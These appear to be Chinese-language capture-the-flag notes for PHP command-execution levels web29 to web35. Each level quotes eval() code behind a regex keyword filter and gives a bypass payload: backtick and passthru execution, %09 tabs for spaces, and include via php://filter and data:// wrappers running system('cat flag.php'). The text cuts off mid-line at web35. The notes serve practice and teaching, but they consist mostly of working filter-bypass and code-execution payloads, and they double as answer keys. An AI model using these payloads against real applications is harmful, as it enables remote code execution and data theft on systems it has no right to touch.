命令执行类
more 、cat、tac flag
passthru();
%09(Tab)绕过空格
命令执行
web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload: c=echo`cat f*`; 或者c=passthru("cat f*");
-------------------------------------------------------------------------------------------------------------
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:同29
-------------------------------------------------------------------------------------------------------------
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:c=echo`tac%09f*`;
-------------------------------------------------------------------------------------------------------------
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload
1.c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
2.c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
-------------------------------------------------------------------------------------------------------------
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload同33
-------------------------------------------------------------------------------------------------------------
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload同上
-------------------------------------------------------------------------------------------------------------
web35
error_reporting(0);
if(isset($_GET['c'])){
$c &